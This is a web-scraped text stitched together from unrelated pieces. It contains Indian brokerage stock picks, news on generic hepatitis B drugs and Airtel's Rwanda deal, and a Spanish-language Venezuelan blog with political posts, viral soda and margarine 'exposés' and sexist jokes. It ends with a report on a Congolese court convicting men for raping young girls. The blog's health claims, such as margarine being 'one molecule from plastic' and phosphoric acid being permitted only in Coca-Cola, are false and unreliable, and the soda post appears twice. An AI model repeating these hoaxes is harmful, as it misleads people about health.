Mammoth order book of Rs 75,000 crore (12xFY17 sales) provides strong visibility for next five years . NBCC is at sweet spot with an inflow guidance of Rs25,000cr for FY18E, limited competition and expertise in executing large projects. Execution from large redevelopment is likely to improve from H2FY18E which will add impetus for re-rating.



Tata Motors



Target Price : 480

Geojit

Tata Motors registered a 10% Y-o-Y growth in revenue for Q2FY18 with a margin expansion of 100 bps (+20.3%YoY) led by 26% volume growth from M&HCV (52% market share) and 14% YoY growth in the PV segment. We remain optimistic about the company's standalone growth prospects led by continued focus on new launches and rigorous cost cutting measures. We expect 10% standalone revenue CAGR over FY17-20E. Similarly JLR's Volume growth to stay strong at 8%YoY for the full year led by new launches (Jaguar E-Pace & I Pace and Refresh model of Range rover sports) and strong traction in China



Karur Vysa Bank



Target Price 161

Angel Broking

Loan growth to pick up from FY18 onwards: KVB had a fairly strong loan CAGR of 14.9% over FY11-17.However, FY17 was year of consolidation and loan book grew by only 4.7%. We expect loan growth to pick up to 11% over FY17-19. Deposit growth is expected at 9% during the period. Asset quality likely to stabilize going ahead: KVB's slippages remained high during FY17 and hence Gross NPAs percentage went up to 3.58% vs 1.3%. However, large part of the troubled accounts has been classified as NPAs and hence gradually we expect the asset quality to improve. While in Q1FY18 we saw some pressure on asset quality, it still remained fairly under control. Net interest margins (NIMs) likely to see further improvement: There were 25 bps improvements in NIM during FY17, with share of CASA growing and cost of fund coming down NIM is expected to improve further going ahead.

Outlook: We expect KVB to post a strong loan book & earnings CAGR of 11% & 22% over FY2017-19E. The stock currently trades at 1.3 times FY2019E ABV. We have a BUY rating on the stock.



Asian Granito



Target price Rs 570

Angel Broking

AGIL's current, vitrified sales (35%) are lower as compared to its peers like Somany Ceramics (47%) and Kajaria Ceramics (61%). Recently, AGIL has launched various products in premium segment.

Going forward, we expect AGIL's profit margin to improve due to increase in focus for higher vitrified product sales, which is a high margin business. AGIL is continuously putting efforts to increase the B2C sales from the current level (35-36% in FY17).

It is expected to reach up to 50% in next 2-3 years on the back of various initiatives taken by AGIL to increase direct interaction with customers like strengthening distribution network, participation in key trade exhibition, etc.

In July FY2016, AGIL acquired Artistique Ceramic which has a better margin profile. Going forward, we expect the company to improve its operating margin from 7.5% in FY16 (excluding merger) to 13-13.5% in coming financial year.

Artisique Ceramics has a contract with RAS GAS to supply quality natural gas at a discounted rate of 50% to current market rate, which would reduce the overall power & fuel cost of the company. We expect AGIL to report a net revenue CAGR of 10% to Rs 1,286 crore and net profit CAGR of 29% to Rs 65cr over FY2017-19E. We recommend a Buy rating on the stock

Siyaram Silk Mills



Angel Broking

Target price: 757

SSML has strong brands which cater to premium as well as popular mass segments of the market. Further, SSML entered the ladies' salwar kameez and ethnic wear segment. Going forward, we believe that the company would be able to leverage its brand equity and continue to post strong performance.

The company has a nationwide network of about 1,600 dealers and business partners. It has a retail network of 160 stores and plans to add another 300-350 stores going forward. Further, the company's brands are sold across 3,00,000 multi brand outlets in the country.

Going forward, we expect SSML to report a net sales CAGR of 12% to Rs 1,981 crore and adjusted net profit CAGR of 16% to Rs 123 crore over FY2017-19E on back of market leadership in blended fabrics, strong brand building, wide distribution channel, strong presence in tier II and tier III cities and emphasis on latest designs and affordable pricing points. At the current market price, SSML trades at an inexpensive valuation. We have an accumulate recommendation on the stock and target price of Rs 757.
Two companies, one a global major, Mylan and the other, Hyderabad-headquartered niche pharma product-maker Natco Pharma, have taken an early lead in launching generic version of Tenofovir Alafenamide, TAF, 25 mg, a once-daily tablet for the treatment of chronic hepatitis B in adults. On December 7th, Mylan launched 'HepBest', which it called, "the first drug approved in eight years for management of chronic Hepatitis B infection in India." The launch was done by Mylan Pharmaceuticals in India. Just over 10 days later, on December 18th, Natco Pharma informed the bourses on Monday that it was launching the drug under its brand 'TAFNAT,' in India. The drug TAF, it says, demonstrates comparable efficacy, with an enhanced renal and bone safety profile as compared to earlier formulation of tenofovir (tenofovir disoproxil fumarate).

TAFNAT is manufactured under license from Medicines Patent Pool (MPP) and Gilead Sciences. Natco priced its generic medicine of TAFNAT at an MRP of INR 1900/- for a monthly pack of 30 tablets for the India market. According to Dr Jyoti Joshi, head, South Asia at the Center for Disease Dynamics, Economics and Policy, based in New Delhi, "generic drugs such as these open doors for access to medications for poor patients such as tribals in India and perhaps may also encourage the government to take it forward in its public health programme for targeted treatments."

Mylan, off course in its media release, referred to the dimension of the problem. It says, according to World Health Organization (WHO) estimates, more than 2 billion people worldwide are infected with the hepatitis B virus (HBV), of which more than 240 million have chronic liver infection. These patients are at risk of developing serious illness and death, largely resulting from liver cirrhosis and liver cancer. The company also quotes, Rakesh Bamzai, its President, India and Emerging Markets, as saying, "India has an estimated 40 million HBV carriers, of which 15 per cent to 25 per cent could go on to suffer from cirrhosis and liver cancer." In 2014, Mylan signed an agreement with Gilead to enhance access to TAF-based HIV treatments in developing countries. As part of the licensing agreement, on US Food and Drug Administration (FDA) approval, Mylan received a technology transfer from Gilead, enabling it to manufacture low-cost versions of TAF.
Indian telecom giant Bharti Airtel, which operates in nearly 17 countries, entered into a definitive agreement with Millicom International Cellular S.A. to acquire 100 per cent equity stake in its Rwanda operation. Millicom operates under the brand name of Tigo Rwanda. The new entity, Airtel Rwanda, will consolidate Rwandan telecom market and make Airtel the second largest telecom operator in the African country.

Acquisition of Tigo Rwanda is expected to add revenues of over $80 million for Bharti Airtel and increase revenue market share to over 40 per cent. "The consideration for the transaction is based on approximately 6x EBITDA multiple, payable over two years," Bharti Airtel said in a statement to the stock exchanges.

Airtel at present operates in 15 African countries apart from India and South Asia. "Airtel and Tigo have already merged their operations to create a strong viable entity in Ghana. Today, it has taken yet another important step to acquire Tigo Rwanda to become a profitable and a strong challenger in a two-player market," Bharti Airtel Chairman, Sunil Bharti Mittal said.

The existing customers of Tigo Rwanda will join Airtel's global network, which has over 370 million subscribers worldwide. The new customers get the benefits of 'One Airtel' network with lower roaming rates across Africa and South Asia.

Airtel has been on an acquisition spree in Africa, India's largest telecom operator had earlier acquired assets in Uganda (Warid) and Congo B (Warid), Kenya (yu Mobile) and consolidated operations in Ghana (Millicom).

"We are also committed to the long term viability of our operations in two other countries i.e. Kenya and Tanzania, to ensure that in 2018 all our 15 operations in Africa start contributing positive margins and cash flows towards a healthy and profitable Airtel Africa," Mittal said.

With presence in 15 African countries, Airtel is one of the largest telecom service providers across the continent in terms of geographical reach and had close to 83 million customers at the end of quarter ended September 30, 2017, the statement said.
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LOS REVOLUCIONARIOS NO TOMAN CACA-COLA No se trata solamente de un capricho, sino de una sana actitud en todos los sentidos. Desde la solidaridad con el pueblo colombiano donde la empresa Caca-Cola ha cometido los mas grandes abusos contra sus trabajadores incluyendo el presunto secuestro y asesinato de los dirigentes del sindicato, hasta la proteccion de la salud de nuestros hijos, enviciados por ese jarabe de cola y azucar, que les produce obesidad prematura. Pensemos tambien los revolucionarios, que ese dinero que gastamos en los refrescos es utilizado por esas empresas para financiar el terrorismo en nuestro pais. Es cierto, no se trata solo de la Caca-Cola, sino tambien de la cerveza, de los cigarrillos y todos esos articulos innecesarios y mas que eso, daninos para nuestra salud. Podriamos incluso pensar en un dia de parada para cada uno de ellos. Es cuestion de irnos organizando. Pero para empezar, que tal si dejamos de comprar Caca-Cola y sus similares?



























Cuando lo extraordinario se vuelve cotidiano...



Discurso del Acto de Grado en Barinas en 12 de Febrero del 2005 Queridos Graduandos:



Mas que un discurso, quiero dirigirles algunas palabras que escribi anoche, despues de visitar en las clinicas, a los estudiantes heridos, a consecuencia de los enfrentamientos con la policia de hace apenas dos dias.



Me ha tocado por razones del destino, ser la persona que les otorgue el titulo que bien merecieron con sus estudios. Y me siento sumamente orgulloso de serlo. Me consta que la Universidad de Los Llanos Occidentales Ezequiel Zamora, a pesar de lo dicho por los enemigos de esta universidad, es una universidad de primera.



No tendremos la mejor planta fisica, en los salones hace calor. En el comedor hace calor. Pero no es en lo material que las cosas deben valorarse. El mayor capital es el ser humano. Y en eso, nuestra UNELLEZ, lo digo con conocimiento de causa, esta sobrada. Los llaneros venezolanos son nobles, valientes, de coraje.



En la UNELLEZ hacen vida, en este momento, aproximadamente 67000 personas. El 97% de ellas son estudiantes. Jovenes que, como Ustedes hasta el dia de hoy, buscan ese titulo, que constata los anos de dedicacion y de estudio.



Los jovenes son el rio de la vida, ustedes graduados deben ser los capitanes de esos barcos que naveguen por el rio de la vida.



Nuestra Patria atraviesa momentos muy dificiles porque decidio dejar de ser esa matrona de edad vetusta y complaciente, para ser joven, rebelde y altanera. Nuestra imagen ya no es la de una acaudalada ricachona mayamera. En nuestro rostro brilla ahora la sonrisa del Che Guevara, con su diente delantero torcido, su pelo largo y su boina con la estrella.



Entender esto, a mi me ha tomado practicamente toda la vida. Tengo 53 anos, y ya perdi mi oportunidad de derramar sangre joven a causa de un ideal.



Ustedes son jovenes, estan en la flor de la vida. No cometan por favor el error de renunciar a su instinto de rebelion. El Che Guevara fue Ministro de a Economia en Cuba. Los billetes y las monedas se adornaban con su rostro. Nada de eso le importo. Primero fue a Angola donde paso un penoso ano de combate. Despues se fue a Bolivia, donde encontro la muerte. El Che era el ultimo que comia, el que cargaba la mochila mas pesada. Siempre se sacrificaba por los demas en un estoicismo que mas parecia fervor religioso que ideologia marxista.



Si quieren un modelo de vida. Ahi lo tienen.



Dije hace unos momentos que el 97% de la poblacion de la UNELLEZ es estudiante. Se imaginan Ustedes la Universidad que podriamos tener si todos los estudiantes tuvieran la abnegacion, la combatividad del Che?



Los momentos que se avecinan van a requerir de una gran unidad del pueblo venezolano. La alternativa de continuar siendo libres o regresar a la pobreza se nos planteara en los proximos dias de forma enmascarada, o quizas peor, desenmascarada, vestida con uniforme de soldado del Imperio.



Por nuestra parte podemos esperar lo mejor. La macroeconomia no podria ir mejor, la justicia social ha mejorado notablemente. Las misiones ocupan un papel muy importante en el pago de dicha justicia social. Aqui en Barinas ya hemos cumplido con dos de las misiones, la mision Robinson y la mision Sucre. No hay analfabetismo y no hay exclusion en la educacion superior, en estas tierras de Zamora.



Pero ay malhaya! Son precisamente estos exitos los que nos hacen mas antipaticos al Imperio. Para ellos, somos inclusive un mal ejemplo que se esta contagiando al resto del continente y cuidado sino al resto del mundo.



Nunca venceremos al Imperio. Estara siempre ahi, acechando. Por lo menos hasta que el mismo no se autodestruya. Porque, sepanlo senores, el neoliberalismo es canibal. Cuando le ataque el hambre, se devorara a si mismo.



Ustedes, queridos graduandos, a partir de hoy pasan a conformar la elite profesional que debe sostener este pais en los proximos cuarenta o cincuenta anos. Anos decisivos para el logro de nuestra libertad y del rescate de nuestra Soberania.



No se dejen comprar. No se dejen corromper. No se dejen gritar. No se dejen pisar. Que nadie les diga que comer, o que vestirse, o que leer. Sean siempre autenticos, rebeldes, contestatarios. Pero eso si, profundamente patriotas, dignos de ser hijos de Bolivar.



Muchas gracias y que Dios los bendiga.





Alguna duda?



Medio siglo de Holocausto Palestino



Oscar Zanartu Nacio en Caracas en 1960. Ha realizado exposiciones individuales en las galerias Minotauro, Clave y San Francisco, y en salas de Coro, estado Falcon, y Puerto Ordaz, estado Bolivar. En Paris su obra ha sido exhibida en el Centro Cultural Tanagra, en la Exposicion Cite Internationale des Arts, en las galerias De Mars y Arver Space, al igual que en la Galeria Municipal Levallois, en Levallois Perret (Francia). En muestras colectivas, su obra se ha expuesto en Belgica, Francia, Estados Unidos y Venezuela; en Caracas intervino en la exposicion "Del genesis a la memoria", 1995, organizada por la Fundacion La Previsora. En 1982 obtuvo el Premio Nacional Critven y en 1990 la Mencion de Honor Jose Antonio Paez, en la Embajada de Venezuela en Paris. En 1991 se le concedio el primer premio de Pintura Itinerante, en Levallois Perret, Francia.



OZ1



OZ2



OZ3



OZ4



Homenaje a Jason Galarraga



La Victoria de Samotracia



Odalisca



Mas fotos de la nevada del pasado agosto 2008



























La Sierra Nevada de Merida



Nuestro precioso Churum Meru



Homenaje a Picasso



Autoretrato



Sabes lo que bebes en una Coca-Cola?

La formula de la Pepsi tiene una diferencia basica con la de la Coca-Cola y es intencional, para evitar el proceso judicial. La diferencia es a proposito, pero suficientemente parecida como para atraer a los consumidores de Coca-Cola que prefieren un gusto diferente con menos sal y azucar.

Mi profesion?

Tuve que aprender quimica, entender todo sobre componentes de gaseosas, conservantes, sales, acidos, cafeina, enlatado, produccion, permisos, aprobaciones y muchas otras cosas. Monte mi propio mini-laboratorio de analisis de productos.

Sal en la Coca Cola?

A patadas. El Cloruro de Sodio no solo refresca sino da mas sed, como para pedir otra gaseosa. Y no resulta desagradable porque la sal mata literalmente la sensibilidad al dulce... del que por cierto tambien tiene mucho: 39 gramos de azucar.

De los 350 gramos de producto liquido, mas del 10% es azucar, o sea que en una lata de Coca-Cola mas de un centimetro y medio es puro azucar en polvo. Aproximadamente tres cucharadas soperas llenas de azucar por lata!!La formula de la Coca Cola es muy sencilla:

Concentrado de azucar quemado caramelo- para dar color oscuro y gusto

Acido fosforito (para darle el sabor acido)

azucar (HFCS-jarabe de maiz de alta fructosa)

Extracto de hojas de la planta de Coca (Africa e India) y otros pocos aromatizantes naturales de otras plantas

Mucha Cafeina

Conservante que puede ser Benzoato de Sodio o Potasio

Dioxido de Carbono en cantidad para sentir freir la lengua cuando se bebe

Sal para dar la sensacion de refrigeracion

El uso del acido fosforito y no del acido citrico como en todas las demas gaseosas, es para dar la sensacion de dientes y boca limpia al beber. El acido fosforito literalmente frie todo y dana el esmalte de los dientes, cosa que el acido citrico lo hace en menor grado.Trate de comprar acido fosforito para ver las mil recomendaciones de seguridad que te dan para su manipulacion (quema el cristalino del ojo, quema la piel, etc...). Esta prohibido usar el acido fosforito en cualquier otra gaseosa; solo la Coca Cola tiene permiso. Porque claro, sin el acido fosforico, la Coca Cola sabria a jabon.El extracto de coca y otras hojas casi no cambia en nada el sabor. Es mas bien un efecto cosmetico. El extracto forma parte de la Coca-Cola porque legalmente tiene que ser asi. Pero sin el, no se nota ninguna diferencia en el gusto, que esta dado basicamente por las cantidades diferentes de azucar, azucar quemada, sales, acidos y conservantes.Sabor a que...? ja, ja, ja.

Aqui en Bartow, sur de Orlando, hay una empresa quimica que produce aromatizantes y esencias para zumos. Envian diariamente camionadas de sales concentradas y esencias para las fabricas de helados, gaseosas, jugos, enlatados y comida colorida y aromatizada.Cuando visite por primera vez la fabrica, pedi ver el deposito de concentrados de frutas, que deberia ser inmenso, especialmente los de naranja, pina, fresa y tantos otros. El encargado me miro, se rio y me llevo a visitar los depositos inmensos... pero de colorantes y componentes quimicos.

Las gaseosa de naranja no contiene naranja.

En los zumos dizque de fresa, hasta los puntitos que quedan en suspension estan hechos de goma (una liga quimica que envuelve un semi-polimero).

Pina, es un popurri de acidos y goma.

La esencia para helado de aguacate usa peroxido de hidrogeno (agua oxigenada) para dar la sensacion espumosa tipica del aguacate.

Bebidas Light?

Quieres saber la cantidad de basura que tiene un refresco 'light'? Yo ni siquiera los uso para destapar mi lavaplatos pues temo que danen los tubos de PVC. Los productos endulzantes 'ligth' tienen una vida media muy corta. Por ejemplo el

Despues de toda mi experiencia con la produccion de bebidas embasadas, puedo afirmar sin dudar un segundo: la mejor bebida es el agua, como tambien los jugos exprimidos de naranja o limon. Nada mas, cero azucar y cero sal.



Publicado por loretahur



En realidad, la formula secreta de la Coca-Cola se puede detallar en 18 segundos en cualquier espectrometro optico, y basicamente la conocen hasta los perros. Lo que ocurre es que no se puede fabricar igual, a no ser que uno disponga de unos cuantos millones de dolares para ganarle la demanda que te metera la Coca-Cola ante la justicia (ellos no perderian).La formula de la Pepsi tiene una diferencia basica con la de la Coca-Cola y es intencional, para evitar el proceso judicial. La diferencia es a proposito, pero suficientemente parecida como para atraer a los consumidores de Coca-Cola que prefieren un gusto diferente con menos sal y azucar.Tuve que aprender quimica, entender todo sobre componentes de gaseosas, conservantes, sales, acidos, cafeina, enlatado, produccion, permisos, aprobaciones y muchas otras cosas. Monte mi propio mini-laboratorio de analisis de productos.A patadas. El Cloruro de Sodio no solo refresca sino da mas sed, como para pedir otra gaseosa. Y no resulta desagradable porque la sal mata literalmente la sensibilidad al dulce... del que por cierto tambien tiene mucho: 39 gramos de azucar.De los 350 gramos de producto liquido, mas del 10% es azucar, o sea que en una lata de Coca-Cola mas de un centimetro y medio es puro azucar en polvo. Aproximadamente tres cucharadas soperas llenas de azucar por lata!!La formula de la Coca Cola es muy sencilla:Concentrado de azucar quemado caramelo- para dar color oscuro y gustoAcido fosforito (para darle el sabor acido)azucar (HFCS-jarabe de maiz de alta fructosa)Extracto de hojas de la planta de Coca (Africa e India) y otros pocos aromatizantes naturales de otras plantasMucha CafeinaConservante que puede ser Benzoato de Sodio o PotasioDioxido de Carbono en cantidad para sentir freir la lengua cuando se bebeSal para dar la sensacion de refrigeracionEl uso del acido fosforito y no del acido citrico como en todas las demas gaseosas, es para dar la sensacion de dientes y boca limpia al beber. El acido fosforito literalmente frie todo y dana el esmalte de los dientes, cosa que el acido citrico lo hace en menor grado.Trate de comprar acido fosforito para ver las mil recomendaciones de seguridad que te dan para su manipulacion (quema el cristalino del ojo, quema la piel, etc...). Esta prohibido usar el acido fosforito en cualquier otra gaseosa; solo la Coca Cola tiene permiso. Porque claro, sin el acido fosforico, la Coca Cola sabria a jabon.El extracto de coca y otras hojas casi no cambia en nada el sabor. Es mas bien un efecto cosmetico. El extracto forma parte de la Coca-Cola porque legalmente tiene que ser asi. Pero sin el, no se nota ninguna diferencia en el gusto, que esta dado basicamente por las cantidades diferentes de azucar, azucar quemada, sales, acidos y conservantes.Sabor a que...? ja, ja, ja.Aqui en Bartow, sur de Orlando, hay una empresa quimica que produce aromatizantes y esencias para zumos. Envian diariamente camionadas de sales concentradas y esencias para las fabricas de helados, gaseosas, jugos, enlatados y comida colorida y aromatizada.Cuando visite por primera vez la fabrica, pedi ver el deposito de concentrados de frutas, que deberia ser inmenso, especialmente los de naranja, pina, fresa y tantos otros. El encargado me miro, se rio y me llevo a visitar los depositos inmensos... pero de colorantes y componentes quimicos.Las gaseosa de naranja no contiene naranja.En los zumos dizque de fresa, hasta los puntitos que quedan en suspension estan hechos de goma (una liga quimica que envuelve un semi-polimero).Pina, es un popurri de acidos y goma.La esencia para helado de aguacate usa peroxido de hidrogeno (agua oxigenada) para dar la sensacion espumosa tipica del aguacate.Quieres saber la cantidad de basura que tiene un refresco 'light'? Yo ni siquiera los uso para destapar mi lavaplatos pues temo que danen los tubos de PVC. Los productos endulzantes 'ligth' tienen una vida media muy corta. Por ejemplo el aspartamo , despues de tres semanas mojado, pasa a tener gusto de trapo viejo sucio.Para evitar eso, se agregan una infinidad de otros productos quimicos, uno para alargar la vida del aspartamo, otro para neutralizar el color, otro para mantener el tercer quimico en suspension porque sino el fondo de la gaseosa quedaria oscuro, otro para evitar la cristalizacion del aspartamo, otro para realzar el sabor, dar mas intensidad al acido citrico o fosforito que perderia su sabor por el efecto de los cuatro productos quimicos iniciales... y asi sucesivamente.Un consejo final !!Despues de toda mi experiencia con la produccion de bebidas embasadas, puedo afirmar sin dudar un segundo: la mejor bebida es el agua, como tambien los jugos exprimidos de naranja o limon. Nada mas, cero azucar y cero sal.Publicado por loretahur

MARGARINA o MANTEQUILLA La margarina fue producida originalmente para engordar a los pavos; cuandolo que hizo en realidad fue matarlos.Las personas que habian puesto el dinero para la investigacion quisieronrecobrarlo asi que empezaron a pensar en una forma de hacerlo.Tenian una sustancia blanca, que no tenia ningun atractivo como comestible,asi que le anadieron el color amarillo, para venderselo a lagente en lugar de la mantequilla.Que tal esa?... Ahora han sacado algunos nuevos sabores para vender mas alos incautos como usted y yo.CONOCE USTED la diferencia entre la margarina y la mantequilla?Siga leyendo hasta el final... porque se pone bastante interesante!Comparacion entre mantequilla y margarina:

1.- Ambas tienen la misma cantidad de calorias.

2.- La mantequilla es ligeramente mas alta en grasas saturadas: 8 gramos,comparada con los 5 gramos que tiene la margarina.

3.- Comer margarina en vez de mantequilla puede aumentar en 53% el riesgo deenfermedades coronarias en las mujeres, de acuerdo con un estudiomedico reciente de la Universidad de Harvard.

4.- Comer mantequilla aumenta la absorcion de gran cantidad de nutrientesque se encuentran en otros alimentos.

5.- La mantequilla provee beneficios nutricionales propios mientras lamargarina tiene solo los que le hayan sido anadidos al fabricarla.

6.- La mantequilla sabe mucho mejor que la margarina y mejora el sabor deotros alimentos.7.- La mantequilla ha existido durante siglos mientras que la margarinatiene menos de 100 anos.

Ahora... sobre la margarina:

1.- Es muy alta en acidos grasos trans. (Si, esos que recien ahora loscientificos descubrieron que son malisimos y los gobiernoscomenzaron a prohibirlos) .

2.- Triple riesgo de enfermedades coronarias.

3.- Aumenta el colesterol total y el LDL (el colesterol malo) y disminuye elHDL (el colesterol bueno).

4.- Aumenta en cinco veces el riesgo de cancer.

5.- Disminuye la calidad de la leche materna.

6.- Disminuye la reaccion inmunologica del organismo.

7.- Disminuye la reaccion a la insulina.

Y he aqui el factor mas inquietante (AQUI ESTA LA PARTE MAS INTERESANTE! ):A la margarina le falta UNA MOLECULA para ser PLASTICO...!!Solo este hecho es suficiente para evitar el uso de la margarina de porvida, y de cualquier otra cosa que sea hidrogenada (esto significaque se le anade hidrogeno, lo cual cambia la estructura molecular de lassubstancias).Usted puede ensayar lo siguiente:Compre un poco de margarina y dejela en el garaje o en un sitio sombreado.Dentro de unos dias notara dos cosas:

* No habra moscas; ni siquiera esos molestos bichos se le acercaran (esto yale debe decir a usted algo).

* No se pudre ni huele mal o diferente porque no tiene valor nutritivo; nadacrece en ella. Ni siquiera los diminutos microorganismos puedencrecer en ella.Por que? Porque es casi plastico!!



No a la guerra, Si a la Paz



Misterios de la ciencia...



Los costos de la guerra



medicos y capitalismo...



Capitalismo...



medicos (2)



Quien educa a nuestros hijos?



Los Medios...



Sin Palabras...



Chistes feministas

- Cual es el problema, Eva?

- Se que me has creado, que me has dado este hermoso jardin, todos estos maravillosos animales y esa serpiente con la que me muero de risa... pero no soy del todo feliz...

- Como es eso, Eva? - replico Dios desde las alturas.

- Me encuentro sola, y ademas estoy harta de comer manzanas...

- Bueno Eva, en tal caso, tengo una solucion... creare un hombre para ti.

- Que es un hombre?

- Un hombre sera una criatura imperfecta, con muchas artimanas. Mentira, hara trampas, sera engreido... vamos, que te va a dar problemas... Pero, va a ser mas fuerte y rapido que tu y le gustara cazar y matar cosas... Tendra un aspecto simple, pero como te estas quejando, le creare de tal forma que satisfaga tus... eh... necesidades fisicas... Y tampoco sera muy listo, y destacara en cosas infantiles como pegarse o dar patadas a un balon... Necesitara tu consejo siempre para actuar cuerdamente.

- Suena bien - dijo Eva, mientras levantaba la ceja ironicamente.

- Cual es el truco?.

- Pues... que lo tendras con una condicion.

- Cual?

- Como te decia, sera chulo, arrogante y muy narcisista... asi que le tendras que hacer creer que le hice a el primero... recuerda... es nuestro secreto... de mujer a mujer.





Por que a los hombres no les puede dar la enfermedad de las vacas locas?  Porque todos son unos cerdos

Un dia, en el Paraiso, Eva llamo a Dios: Tengo un problema.- Cual es el problema, Eva?- Se que me has creado, que me has dado este hermoso jardin, todos estos maravillosos animales y esa serpiente con la que me muero de risa... pero no soy del todo feliz... - Como es eso, Eva? - replico Dios desde las alturas.- Me encuentro sola, y ademas estoy harta de comer manzanas...- Bueno Eva, en tal caso, tengo una solucion... creare un hombre para ti.- Que es un hombre?- Un hombre sera una criatura imperfecta, con muchas artimanas. Mentira, hara trampas, sera engreido... vamos, que te va a dar problemas... Pero, va a ser mas fuerte y rapido que tu y le gustara cazar y matar cosas... Tendra un aspecto simple, pero como te estas quejando, le creare de tal forma que satisfaga tus... eh... necesidades fisicas... Y tampoco sera muy listo, y destacara en cosas infantiles como pegarse o dar patadas a un balon... Necesitara tu consejo siempre para actuar cuerdamente.- Suena bien - dijo Eva, mientras levantaba la ceja ironicamente.- Cual es el truco?.- Pues... que lo tendras con una condicion.- Cual?- Como te decia, sera chulo, arrogante y muy narcisista... asi que le tendras que hacer creer que le hice a el primero... recuerda... es nuestro secreto... de mujer a mujer.Por que a los hombres no les puede dar la enfermedad de las vacas locas?  Porque todos son unos cerdos

Ellas...



Ellas (2)...



Tres venganzas femeninas VENGANZA NUMERO 1

Hoy mi hija cumple 21 anos y estoy muy contento porque es el ultimo pago de pension alimenticia que le doy, asi que llame a mi hijita para que viniera a mi casa y cuando llego le dije:

-Hijita, quiero que lleves este cheque a casa de tu mama y que le digas que: Este es el ultimo maldito cheque que va recibir de mi en todo lo que le queda de su puta vida!!! Quiero que me digas la expresion que pone en su rostro.

Asi que mi hija fue a entregar el cheque. Yo estaba ansioso por saber lo que la bruja tenia que decir y que cara pondria.

Cuando mi hijita entro, le pregunte inmediatamente: -Que fue lo que te dijo tu madre?

-Me dijo que justamente estaba esperando este dia para decirte que no eres mi papa!



VENGANZA NUMERO 2

Un hombre que siempre molestaba a su mujer, paso un dia por la casa de unos amigos para que lo acompanaran al aeropuerto a dejar a su esposa que viajaba a Paris.

A la salida de inmigracion, frente a todo el mundo, el le desea buen viaje y en tono burlon le grita:

- Amor, no te olvides de traerme una hermosa francesita Ja ja ja!!

Ella bajo la cabeza y se embarco muy molesta.

La mujer paso quince dias en Francia.

El marido otra vez pidio a sus amigos que lo acompanasen al aeropuerto a recibirla.

Al verla llegar, lo primero que le grita a toda voz es:

- Y amor me trajiste mi francesita??

- Hice todo lo posible, - contesta ella - ahora solo tenemos que rezar para que nazca nina.



VENGANZA NUMERO 3

El marido, en su lecho de muerte, llama a su mujer. Con voz ronca y ya debil, le dice: - Muy bien, llego mi hora, pero antes quiero hacerte una confesion.

- No, no, tranquilo, tu no debes hacer ningun esfuerzo.

- Pero, mujer, es preciso - insiste el marido - Es preciso morir en paz.

Te quiero confesar algo.

- Esta bien, esta bien. Habla!

- He tenido relaciones con tu hermana, tu mama y tu mejor amiga.

- Lo se, lo se Por eso te envenene, hijo de puta!!!



machismo y cibernetica



Chiste machista La NASA ha enviado al espacio una mision experimental tripulada por dos monos y una mujer.Apenas abandona la atmosfera, se establece comunicacion con Houston.

-Atencion, simio 1, verifique sistemas hidraulicos, controle adecuada presion de los propulsores de arranque. A 60.000 pies disminuya un 25% la velocidad.

El simio hace la sena de OK.

-Atencion, simio 2, nivele al cruzar la estratosfera y active sistemas anticongelantes. No olvide monitorear sistemas de comunicacion e indicadores de presion. Comprendido?.

El simio hace la sena de OK.

-Atencion, Houston llamando a mujer: no se olvide.

-Mujer: Si, si, ya se! -interrumpe enojada- que no me olvide darles de comer a estos monos de mierda y que no se me vaya a ocurrir tocar nada!.



.Spaghetti, Spaghetti, Spaghetti, Spaghetti, Spaghetti.

Un abogado mantiene un romance con su secretaria.Al poco tiempo, esta queda embarazada y el abogado, que no quiere que su esposa se entere, le da a la secretaria una buena suma de dinero y le pide que se vaya a parir a Italia.Esta pregunta: Y como voy a hacerte saber cuando nazca el bebe ? El abogado responde: Para que mi mujer no se entere, tan solo enviame una postal y escribe por detras: Spaghetti. Y no te preocupes mas, que yo me encargare de todos los gastos.

Pasan los meses y una manana la esposa del abogado lo llama al bufete, algo exaltada: Querido, acabo de recibir el correo y hay una postal muy extrana viene desde Italia. La verdad, no entiendo que significa.El abogado, tratando de ocultar sus nervios, contesta:Espera a que llegue a casa, a ver si yo entiendoCuando el hombre llega a casa y lee la postal, cae al suelo fulminado por un infarto.Llega una ambulancia y se lo lleva. Ya en el hospital, el jefe de cardiologia se queda consolando a la esposa y le pregunta cual ha sido el evento que precipito tan masivo ataque cardiaco.

Entonces la esposa saca la postal y se la muestra diciendole: No me explico, doctor; el solamente leyo esta postal. Vea usted mismo lo que trae escrito.Spaghetti, Spaghetti, Spaghetti, Spaghetti, Spaghetti."Tres con salchicha y albondigas y dos con almejas



Gol !!!!



Chistes de Borrachos Entra un borracho a su casa todo manchado con lapiz labial por todos lados hecho un desastre, y la mujer le pregunta:-Hombre que te paso?Y el borracho le responde:-No me vas a creer, me pelee con un payaso!



Este es un borracho que entra en un bar y le dice al camarero:-Me da cinco copas de whisky?Al rato:-Me da cuatro?Al rato:-Me da tres copas?Despues:-Me da dos copas?Luego le dice:-Me da una copa?Y le dice al camarero:-Ves? Cuanto menos bebo, mas borracho estoy!


The little girl was so severely injured that the surgeon who attended her, a veteran clinician accustomed to treating survivors of sexual violence, was shocked. Just five years old, the child was one of dozens of young girls who were raped during a three-year reign of terror in the village of Kavumu in eastern Democratic Republic of the Congo (DRC).

When I saw [the extent of her injuries], I said to myself that even if the forces of nature can allow something like this to go unpunished, God and man cannot allow it, said Dr. Desire Alumeti, a pediatric surgeon who treated many of the young victims at Bukavus Panzi Hospital, in South Kivu province, where most of the children were brought.

Last week, in a stunning victory for justice, a military court proved Dr. Alumeti right: eleven men responsible for these appalling crimes, including a powerful regional lawmaker, were sentenced to life in prisonguilty of crimes against humanity for the rapes of 39 girls and the murders of two men. The landmark case was buttressed by crucial forensic evidence provided by local medical and legal professionals trained by Physicians for Human Rights (PHR), which has assisted the investigation since the attacks began in 2013.

This verdict is an historic win for accountability for the perpetrators of sexual violence and for access to justice for survivors and their families. It was an extraordinarily complex and challenging case and there were enormous hurdles along the way because very powerful people were presumed to be involved, said Karen Naimer, director of PHRs Program on Sexual Violence in Conflict Zones.

Children as young as 18 months were stolen in the middle of the night from homes like these, raped, and then dumped in their yards or in fields surrounding the village of Kavumu, in eastern Democratic Republic of the Congo. Photo: PHR

The assaults followed a sickening pattern. Children  all under 13 and some as young as 18 months  were stolen from their homes in the dead of night, raped and often mutilated, and dumped in their yards or the fields outside the village. It took three painful years to bring the cases to trial, three years of relentless attacks that ended only with the arrest of Frederic Batumike, a member of the South Kivu provincial assembly, in June 2016.

